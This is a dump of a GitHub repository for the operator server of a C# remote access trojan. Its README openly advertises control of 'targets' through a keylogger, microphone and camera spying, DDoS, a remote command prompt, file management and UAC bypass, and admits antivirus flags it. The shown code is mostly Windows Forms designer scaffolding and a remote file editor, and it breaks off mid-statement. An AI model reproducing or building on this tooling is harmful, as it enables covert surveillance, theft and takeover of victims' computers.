Repository: AdvancedHacker101/C-Sharp-R.A.T-Server Branch: master Commit: 776f827268b4 Files: 30 Total size: 1.4 MB Directory structure: gitextract_r3z1z34n/ ├── .gitattributes ├── .gitignore ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── TutServer/ │ ├── App.config │ ├── Edit.Designer.cs │ ├── Edit.cs │ ├── Edit.resx │ ├── Form1.Designer.cs │ ├── Form1.cs │ ├── Form1.resx │ ├── Program.cs │ ├── Properties/ │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── RDesktop.Designer.cs │ ├── RDesktop.cs │ ├── RDesktop.resx │ ├── TutServer.csproj │ ├── app.manifest │ ├── bin/ │ │ └── Debug/ │ │ └── NAudio.xml │ ├── remotePipe.Designer.cs │ ├── remotePipe.cs │ └── remotePipe.resx ├── TutServer.sln └── TutServer.v12.suo.doc ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ ############################################################################### # Set default behavior to automatically normalize line endings. ############################################################################### * text=auto ############################################################################### # Set default behavior for command prompt diff. # # This is need for earlier builds of msysgit that does not have it on by # default for csharp files. # Note: This is only used by command line ############################################################################### #*.cs diff=csharp ############################################################################### # Set the merge driver for project and solution files # # Merging from the command prompt will add diff markers to the files if there # are conflicts (Merging from VS is not affected by the settings below, in VS # the diff markers are never inserted). Diff markers may cause the following # file extensions to fail to load in VS. An alternative would be to treat # these files as binary and thus will always conflict and require user # intervention with every merge. To do so, just uncomment the entries below ############################################################################### #*.sln merge=binary #*.csproj merge=binary #*.vbproj merge=binary #*.vcxproj merge=binary #*.vcproj merge=binary #*.dbproj merge=binary #*.fsproj merge=binary #*.lsproj merge=binary #*.wixproj merge=binary #*.modelproj merge=binary #*.sqlproj merge=binary #*.wwaproj merge=binary ############################################################################### # behavior for image files # # image files are treated as binary by default. ############################################################################### #*.jpg binary #*.png binary #*.gif binary ############################################################################### # diff behavior for common document formats # # Convert binary document formats to text before diffing them. This feature # is only available from the command line. Turn it on by uncommenting the # entries below. ############################################################################### #*.doc diff=astextplain #*.DOC diff=astextplain #*.docx diff=astextplain #*.DOCX diff=astextplain #*.dot diff=astextplain #*.DOT diff=astextplain #*.pdf diff=astextplain #*.PDF diff=astextplain #*.rtf diff=astextplain #*.RTF diff=astextplain ================================================ FILE: .gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. # User-specific files *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Build results [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ bld/ [Oo]bj/ [Ll]og/ # Visual Studio 2015 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUNIT *.VisualState.xml TestResult.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # DNX project.lock.json project.fragment.lock.json artifacts/ *_i.c *_p.c *_i.h *.ilk *.meta *.obj *.pch *.pdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # JustCode is a .NET coding add-in .JustCode # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # TODO: Comment the next line if you want to checkin your web deploy settings # but database connection strings (with potential passwords) will be unencrypted #*.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # The packages folder can be ignored because of Package Restore **/packages/* # except build/, which is used as an MSBuild target. !**/packages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/packages/repositories.config # NuGet v3's project.json files produces more ignoreable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm *.pfx *.publishsettings node_modules/ orleans.codegen.cs # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm # SQL Server files *.mdf *.ldf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # JetBrains Rider .idea/ *.sln.iml # CodeRush .cr/ # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc /TutServer/bin/Debug/TutServer.vshost.exe.manifest /TutServer/bin/Debug/TutServer.vshost.exe.config /TutServer/bin/Debug/TutServer.vshost.exe /TutServer/bin/Debug/TutServer.exe.config /TutServer/bin/Debug/TutServer.exe /TutServer/bin/Debug/scripts/WebPlugin.dll /TutServer/bin/Debug/scripts/AndroidExtension.dll ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ ================================================ FILE: CONTRIBUTING.md ================================================ # Contribution **Thank you for considering contribution to the C\# R.A.T Server Project!** ## How to contribute? It's very simple! 1. Fork the project 2. Make the changes 3. Issue a pull request 4. I will do a merge after verifying (in some cases changing) the code ## How to report bugs? You can simply use the *Issues* section on github Just write an issue, and i will try to respond within 24 hours! ## How to contribute? (without writing code) You can also do this on the *Issues* section, and i will label it as *enhancement* This way you can suggest new features, or change an older one without coding. I will try to respond within 24 hours! ## How to run / compile I use Visual Studio 2017 Community Edition. The program is written in c\# and built with .NET Framework 4.5 Any additional requirements can be found under TutServer/bin/debug ## How to ask questions? You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs. I will try to respond within 24 hours! You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g) Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page ================================================ FILE: LICENSE ================================================ Advanced Hacking 101 Project Licence short and simple You are free to do anything with this project, as long as you credit me and the project Links to the project are enough ================================================ FILE: README.md ================================================ # C\# R.A.T Server This is the server program of the c# R.A.T. You will need to run this program on your computer, and not on the target's machine. The targets will connect to you with the help of this program. **This is not a virus but serval AV will flag it as it's a virus.** You need to build your own binary from this source code, so no trust issues. The executable is NOT published on this site, if you want the .exe you have to build the project using Visual Studio. The .dll files are published, because the project will not start without them. You need to select allow if the firewall prompt window come's up or the program can't open the TCP Server. ## Contains the basic features like: - Remote Desktop - Keylogger - Mic and Cam spy - DDoS - Fun menu - Remote cmd prompt - Process manager - File manager - Plugin Support - UAC Bypass - Probing Methods This software is **open source**, you can use the code, or pieces of it in your own project. Or you can just use my project and change the needed values. You can check out the client [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client) ## More Information You can view the project licence [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/LICENSE) You can read the code of conduct [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CODE_OF_CONDUCT.md) You can read how to contribute [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CONTRIBUTING.md) *Happy Coding!* **\-Advanced Hacking 101** ================================================ FILE: TutServer/App.config ================================================  ================================================ FILE: TutServer/Edit.Designer.cs ================================================ namespace TutServer { partial class Edit { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.button3 = new System.Windows.Forms.Button(); this.button4 = new System.Windows.Forms.Button(); this.button5 = new System.Windows.Forms.Button(); this.button6 = new System.Windows.Forms.Button(); this.button7 = new System.Windows.Forms.Button(); this.checkBox1 = new System.Windows.Forms.CheckBox(); this.SuspendLayout(); // // richTextBox1 // this.richTextBox1.Location = new System.Drawing.Point(12, 12); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Size = new System.Drawing.Size(660, 418); this.richTextBox1.TabIndex = 0; this.richTextBox1.Text = ""; // // button1 // this.button1.Location = new System.Drawing.Point(597, 436); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 1; this.button1.Text = "Save"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // button2 // this.button2.Location = new System.Drawing.Point(516, 436); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(75, 23); this.button2.TabIndex = 2; this.button2.Text = "Cancel"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.button2_Click); // // button3 // this.button3.Location = new System.Drawing.Point(435, 436); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(75, 23); this.button3.TabIndex = 3; this.button3.Text = "Undo"; this.button3.UseVisualStyleBackColor = true; this.button3.Click += new System.EventHandler(this.button3_Click); // // button4 // this.button4.Location = new System.Drawing.Point(354, 436); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(75, 23); this.button4.TabIndex = 4; this.button4.Text = "Redo"; this.button4.UseVisualStyleBackColor = true; this.button4.Click += new System.EventHandler(this.button4_Click); // // button5 // this.button5.Location = new System.Drawing.Point(273, 436); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(75, 23); this.button5.TabIndex = 5; this.button5.Text = "Encrypt"; this.button5.UseVisualStyleBackColor = true; this.button5.Click += new System.EventHandler(this.button5_Click); // // button6 // this.button6.Location = new System.Drawing.Point(192, 436); this.button6.Name = "button6"; this.button6.Size = new System.Drawing.Size(75, 23); this.button6.TabIndex = 6; this.button6.Text = "Decrypt"; this.button6.UseVisualStyleBackColor = true; this.button6.Click += new System.EventHandler(this.button6_Click); // // button7 // this.button7.Location = new System.Drawing.Point(111, 436); this.button7.Name = "button7"; this.button7.Size = new System.Drawing.Size(75, 23); this.button7.TabIndex = 7; this.button7.Text = "Clear"; this.button7.UseVisualStyleBackColor = true; this.button7.Click += new System.EventHandler(this.button7_Click); // // checkBox1 // this.checkBox1.AutoSize = true; this.checkBox1.Location = new System.Drawing.Point(12, 440); this.checkBox1.Name = "checkBox1"; this.checkBox1.Size = new System.Drawing.Size(70, 17); this.checkBox1.TabIndex = 8; this.checkBox1.Text = "Write File"; this.checkBox1.UseVisualStyleBackColor = true; this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); // // Edit // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(684, 473); this.Controls.Add(this.checkBox1); this.Controls.Add(this.button7); this.Controls.Add(this.button6); this.Controls.Add(this.button5); this.Controls.Add(this.button4); this.Controls.Add(this.button3); this.Controls.Add(this.button2); this.Controls.Add(this.button1); this.Controls.Add(this.richTextBox1); this.Name = "Edit"; this.Text = "Edit"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Edit_FormClosing); this.Shown += new System.EventHandler(this.Edit_Shown); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.RichTextBox richTextBox1; private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; private System.Windows.Forms.Button button3; private System.Windows.Forms.Button button4; private System.Windows.Forms.Button button5; private System.Windows.Forms.Button button6; private System.Windows.Forms.Button button7; private System.Windows.Forms.CheckBox checkBox1; } } ================================================ FILE: TutServer/Edit.cs ================================================ using System; //For basic system functions using System.Collections.Generic; //For list using System.Drawing; //For form graphics using System.Windows.Forms; //For form interaction and controls using sCore.UI; //The plugin core UI #pragma warning disable IDE1006 namespace TutServer //The application namespace { /// /// Class that handles editing of text based files /// public partial class Edit : Form { #region Global Variables /// /// The conten to edit /// private string content; /// /// Reference to the main form /// private Form1 prt; #endregion #region Form and Editor /// /// Create a new file editor /// /// The file content to edit /// Reference to the main form public Edit(String textFile, Form1 parent) { content = textFile; //Set the edit content prt = parent; //Set the main form reference InitializeComponent(); //Init the controls } /// /// Editor loaded the controls and the form /// /// The sender of the event /// The event args private void Edit_Shown(object sender, EventArgs e) { richTextBox1.ReadOnly = true; //Set mode to read only richTextBox1.BackColor = SystemColors.Window; //Set the color to window (not the grayish color you get for read only) richTextBox1.Text = content; //Set the editor content CommonControls.editorTextBox = richTextBox1; //Notify the plugins of the file editor } /// /// Enable/Disable the read only property of the editor /// /// The sender of the event /// The event args private void checkBox1_CheckedChanged(object sender, EventArgs e) { bool isReadOnly = !checkBox1.Checked; //Get the state of read only richTextBox1.ReadOnly = isReadOnly; //Set the read only state } /// /// Clear the whole editor text /// /// The sender of the event /// The event args private void button7_Click(object sender, EventArgs e) { richTextBox1.Clear(); //Clear the editor box } /// /// Decrypt the contents of the file /// /// The sender of the event /// The event args private void button6_Click(object sender, EventArgs e) { try //Try { string[] lines = richTextBox1.Lines; //Get the lines of the text List decrypted = new List(); //Declare a new list for decrypted lines for (int i = 0; i < lines.Length; i++)//Go through each encrypted line { string line = lines[i]; decrypted.Add(prt.Decrypt(line)); //decrypt the line and add it to the list } richTextBox1.Lines = decrypted.ToArray(); //Set the decrypted lines as the text richTextBox1.Refresh(); //Refresh the richTextBox's display } catch (Exception ex) //Can't decrypt { MessageBox.Show(this, "Error", "Error trying to decrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user } } /// /// Encrypt the editor text /// /// The sender of the event /// The event args private void button5_Click(object sender, EventArgs e) { try //Try { string[] lines = richTextBox1.Lines; //Get the lines of the text List encrypted = new List(); //Declare a new list for encrypted lines for (int i = 0; i < lines.Length; i++)//Go through each plain text line { string line = lines[i]; encrypted.Add(prt.Encrypt(line)); //Encrypt the lines and add it to the list } richTextBox1.Lines = encrypted.ToArray(); //Set the editor content to the encrypted lines richTextBox1.Refresh(); //Refresh the editor display } catch (Exception ex) //Can't encrypt { MessageBox.Show(this, "Error", "Error trying to encrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user } } /// /// Redo the last change made to the content /// /// The sender of the event /// The event args private void button4_Click(object sender, EventArgs e) { richTextBox1.Redo(); //Redo a change } /// /// Undo the last change made to the content /// /// The sender of the event /// The event args private void button3_Click(object sender, EventArgs e) { richTextBox1.Undo(); //Undo the last change } /// /// Close without saving /// /// The sender of the event /// The event args private void button2_Click(object sender, EventArgs e) { Close(); //Close the form } /// /// Save the file on remote client /// /// The sender of the event /// The event args private void button1_Click(object sender, EventArgs e) { prt.SaveFile(richTextBox1.Text); //Save the file } /// /// Form Closing event (not saving the file) /// /// The sender of the event /// The event args private void Edit_FormClosing(object sender, FormClosingEventArgs e) { CommonControls.editorTextBox = null; //Remove the editro reference from the plugins } #endregion } } ================================================ FILE: TutServer/Edit.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: TutServer/Form1.Designer.cs ================================================ namespace TutServer { partial class Form1 { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.Windows.Forms.ListViewGroup listViewGroup1 = new System.Windows.Forms.ListViewGroup("Google Chrome", System.Windows.Forms.HorizontalAlignment.Left); System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("Internet Explorer", System.Windows.Forms.HorizontalAlignment.Left); System.Windows.Forms.ListViewGroup listViewGroup3 = new System.Windows.Forms.ListViewGroup("Firefox", System.Windows.Forms.HorizontalAlignment.Left); this.tabControl1 = new System.Windows.Forms.TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.label24 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.button2 = new System.Windows.Forms.Button(); this.listView1 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.button1 = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.button6 = new System.Windows.Forms.Button(); this.label12 = new System.Windows.Forms.Label(); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.label11 = new System.Windows.Forms.Label(); this.button5 = new System.Windows.Forms.Button(); this.comboBox3 = new System.Windows.Forms.ComboBox(); this.label10 = new System.Windows.Forms.Label(); this.button4 = new System.Windows.Forms.Button(); this.button3 = new System.Windows.Forms.Button(); this.textBox3 = new System.Windows.Forms.TextBox(); this.label9 = new System.Windows.Forms.Label(); this.label8 = new System.Windows.Forms.Label(); this.label7 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.comboBox2 = new System.Windows.Forms.ComboBox(); this.comboBox1 = new System.Windows.Forms.ComboBox(); this.textBox2 = new System.Windows.Forms.TextBox(); this.textBox1 = new System.Windows.Forms.TextBox(); this.label3 = new System.Windows.Forms.Label(); this.tabPage3 = new System.Windows.Forms.TabPage(); this.button13 = new System.Windows.Forms.Button(); this.button12 = new System.Windows.Forms.Button(); this.label14 = new System.Windows.Forms.Label(); this.button11 = new System.Windows.Forms.Button(); this.button10 = new System.Windows.Forms.Button(); this.button9 = new System.Windows.Forms.Button(); this.button8 = new System.Windows.Forms.Button(); this.button7 = new System.Windows.Forms.Button(); this.label13 = new System.Windows.Forms.Label(); this.tabPage4 = new System.Windows.Forms.TabPage(); this.button14 = new System.Windows.Forms.Button(); this.comboBox4 = new System.Windows.Forms.ComboBox(); this.textBox4 = new System.Windows.Forms.TextBox(); this.label17 = new System.Windows.Forms.Label(); this.label16 = new System.Windows.Forms.Label(); this.label15 = new System.Windows.Forms.Label(); this.listView2 = new System.Windows.Forms.ListView(); this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader8 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader9 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader10 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader11 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.refreshToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage5 = new System.Windows.Forms.TabPage(); this.textBox5 = new System.Windows.Forms.TextBox(); this.richTextBox2 = new System.Windows.Forms.RichTextBox(); this.button15 = new System.Windows.Forms.Button(); this.tabPage6 = new System.Windows.Forms.TabPage(); this.listView3 = new System.Windows.Forms.ListView(); this.columnHeader12 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader13 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader14 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader15 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components); this.listDrivesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.enterDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.moveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.currentDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.selectedDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.currentDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.selectedDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.editToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.attributesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.hideToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.showToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.directoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage7 = new System.Windows.Forms.TabPage(); this.button19 = new System.Windows.Forms.Button(); this.button18 = new System.Windows.Forms.Button(); this.button17 = new System.Windows.Forms.Button(); this.button16 = new System.Windows.Forms.Button(); this.richTextBox3 = new System.Windows.Forms.RichTextBox(); this.tabPage8 = new System.Windows.Forms.TabPage(); this.lblQualityShow = new System.Windows.Forms.Label(); this.lblChooseScreen = new System.Windows.Forms.Label(); this.cmboChooseScreen = new System.Windows.Forms.ComboBox(); this.btnCountScreens = new System.Windows.Forms.Button(); this.btnStartTaskManager = new System.Windows.Forms.Button(); this.txtBControlKeyboard = new System.Windows.Forms.TextBox(); this.label34 = new System.Windows.Forms.Label(); this.trackBar1 = new System.Windows.Forms.TrackBar(); this.btnFullScreenMode = new System.Windows.Forms.Button(); this.checkBoxrKeyboard = new System.Windows.Forms.CheckBox(); this.checkBoxrMouse = new System.Windows.Forms.CheckBox(); this.button22 = new System.Windows.Forms.Button(); this.button21 = new System.Windows.Forms.Button(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.tabPage9 = new System.Windows.Forms.TabPage(); this.button25 = new System.Windows.Forms.Button(); this.listView4 = new System.Windows.Forms.ListView(); this.columnHeader16 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader17 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.button24 = new System.Windows.Forms.Button(); this.tabPage10 = new System.Windows.Forms.TabPage(); this.button27 = new System.Windows.Forms.Button(); this.button26 = new System.Windows.Forms.Button(); this.listView5 = new System.Windows.Forms.ListView(); this.columnHeader18 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader19 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.pictureBox2 = new System.Windows.Forms.PictureBox(); this.tabPage11 = new System.Windows.Forms.TabPage(); this.button30 = new System.Windows.Forms.Button(); this.button29 = new System.Windows.Forms.Button(); this.button28 = new System.Windows.Forms.Button(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.numericUpDown4 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown3 = new System.Windows.Forms.NumericUpDown(); this.checkBox3 = new System.Windows.Forms.CheckBox(); this.label25 = new System.Windows.Forms.Label(); this.label26 = new System.Windows.Forms.Label(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); this.comboBox5 = new System.Windows.Forms.ComboBox(); this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); this.textBox6 = new System.Windows.Forms.TextBox(); this.label22 = new System.Windows.Forms.Label(); this.label21 = new System.Windows.Forms.Label(); this.label20 = new System.Windows.Forms.Label(); this.label19 = new System.Windows.Forms.Label(); this.label18 = new System.Windows.Forms.Label(); this.tabPage12 = new System.Windows.Forms.TabPage(); this.button32 = new System.Windows.Forms.Button(); this.button31 = new System.Windows.Forms.Button(); this.label23 = new System.Windows.Forms.Label(); this.listView6 = new System.Windows.Forms.ListView(); this.columnHeader20 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader21 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader22 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.tabPage13 = new System.Windows.Forms.TabPage(); this.label36 = new System.Windows.Forms.Label(); this.progressBar1 = new System.Windows.Forms.ProgressBar(); this.button23 = new System.Windows.Forms.Button(); this.comboBox7 = new System.Windows.Forms.ComboBox(); this.label35 = new System.Windows.Forms.Label(); this.button20 = new System.Windows.Forms.Button(); this.button33 = new System.Windows.Forms.Button(); this.label27 = new System.Windows.Forms.Label(); this.tabPage14 = new System.Windows.Forms.TabPage(); this.button34 = new 